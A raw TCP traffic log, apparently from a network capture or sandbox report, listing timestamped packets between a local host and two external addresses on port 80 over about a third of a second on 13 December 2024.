Dec 13, 2024 01:51:34.254703045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.254837990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.254842997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.254884005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.255744934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.255810022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.255861044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.255912066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.256706953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.256762981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.256825924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.256905079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.257718086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.257770061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.258017063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.258075953 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.258718014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.258776903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.258841038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.258886099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.259702921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.259824991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.259874105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.260696888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.260745049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.260751009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.260797024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.261678934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.261765957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.261795998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.261838913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.262717962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.262850046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.262897015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.263705015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.263760090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.263825893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.263869047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.264612913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.264688015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.303428888 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.303452969 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.303491116 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.303529024 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.305697918 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.305725098 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.305757999 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.305773973 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.310343027 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.310409069 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.310457945 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.310503960 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.315152884 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.315190077 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.315210104 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.315243959 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.319874048 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.319945097 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.320008039 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.324250937 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.324393988 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.324455976 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.328792095 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.328922033 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.328989029 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.333214045 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.333281994 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.333306074 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.333360910 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.337594986 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.337719917 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.337790966 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.342217922 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.342276096 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.342286110 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.342415094 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.346374035 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.346563101 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.346633911 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.350766897 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.350867033 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.350923061 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.355130911 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.355207920 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.355261087 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.355312109 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.359592915 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.359692097 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.359764099 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.363898039 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.363970041 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.364037037 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.364094019 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.368570089 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.368623972 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.368640900 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.368674994 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.372791052 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.372881889 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.372965097 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.377348900 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.377403975 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.377417088 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.377449989 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.381570101 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.381658077 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.381730080 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.385823965 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.385907888 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.404608011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.404726028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.404807091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.404983044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.405160904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.405352116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.405427933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.405428886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.406136990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.406196117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.406271935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.406316042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.407073021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.407125950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.407167912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.407212973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.408077002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.408126116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.408231974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.408277988 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.409236908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.409290075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.409329891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.409369946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.410111904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.410238028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.410289049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.411111116 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.411184072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.411212921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.411259890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.412074089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.412134886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.412241936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.412297964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.413129091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.413256884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.413311958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.414067984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.414140940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.414195061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.414258957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.415076017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.415147066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.415283918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.416121960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.416177034 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.416182041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.416222095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.417059898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.417109966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.417175055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.417218924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.418081999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.418215990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.418255091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.418273926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.419064999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.419128895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.419177055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.419275999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.420097113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.420155048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.420198917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.420375109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.421057940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.421120882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.421195030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.421262980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.422035933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.422313929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.422362089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.423080921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.423119068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.423166990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.424034119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.424088955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.424153090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.425056934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.425108910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.425184965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.425246954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.426032066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.426083088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.426145077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.426203012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.427026987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.427094936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.427151918 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.427221060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.428042889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.428091049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.428159952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.428307056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.429045916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.429105997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.429243088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.429342031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.430026054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.430079937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.430088043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.430123091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.431032896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.431101084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.431154966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.431212902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.432007074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.432063103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.432081938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.432126045 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.433012009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.433069944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.433147907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.433191061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.434047937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.434190035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.434252024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.434986115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.435049057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.435117006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.435353994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.435988903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.436048985 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.436120987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.436275005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.437002897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.437073946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.437104940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.437150955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.437993050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.438070059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.438123941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.438227892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.439075947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.439131975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.439151049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.439178944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.439990997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.440043926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.440109015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.440166950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.441003084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.441052914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.441118002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.441173077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.441992998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.442044973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.442096949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.443041086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.443093061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.443150997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.443198919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.443989038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.444039106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.444103003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.444149971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.445056915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.445090055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.445107937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.445132017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.446218967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.446480036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.446535110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.446962118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.447069883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.447397947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.447448015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.447989941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.448046923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.448364019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.448412895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.448955059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.449033022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.449163914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.449215889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.449951887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.450030088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.450102091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.450170040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.450934887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.451003075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.451082945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.451948881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.452032089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.452075958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.452199936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.452982903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.453036070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.453099012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.453958988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.454011917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.454042912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.454143047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.454957962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.455082893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.455169916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.455996990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.456029892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.456079006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.456181049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.456917048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.459160089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.495371103 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.495397091 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.495656013 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.496999025 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.497097015 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.497189045 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.497231960 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.500732899 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:34.503329992 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:34.596927881 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.597016096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.597208977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.597464085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.597587109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.597615004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.597649097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.598438025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.598489046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.598642111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.599428892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.599481106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.599513054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.599536896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.600474119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.600538015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.600568056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.600609064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:34.601474047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:34.601524115 CET	49809	80	192.168.2.4	31.41.244.11
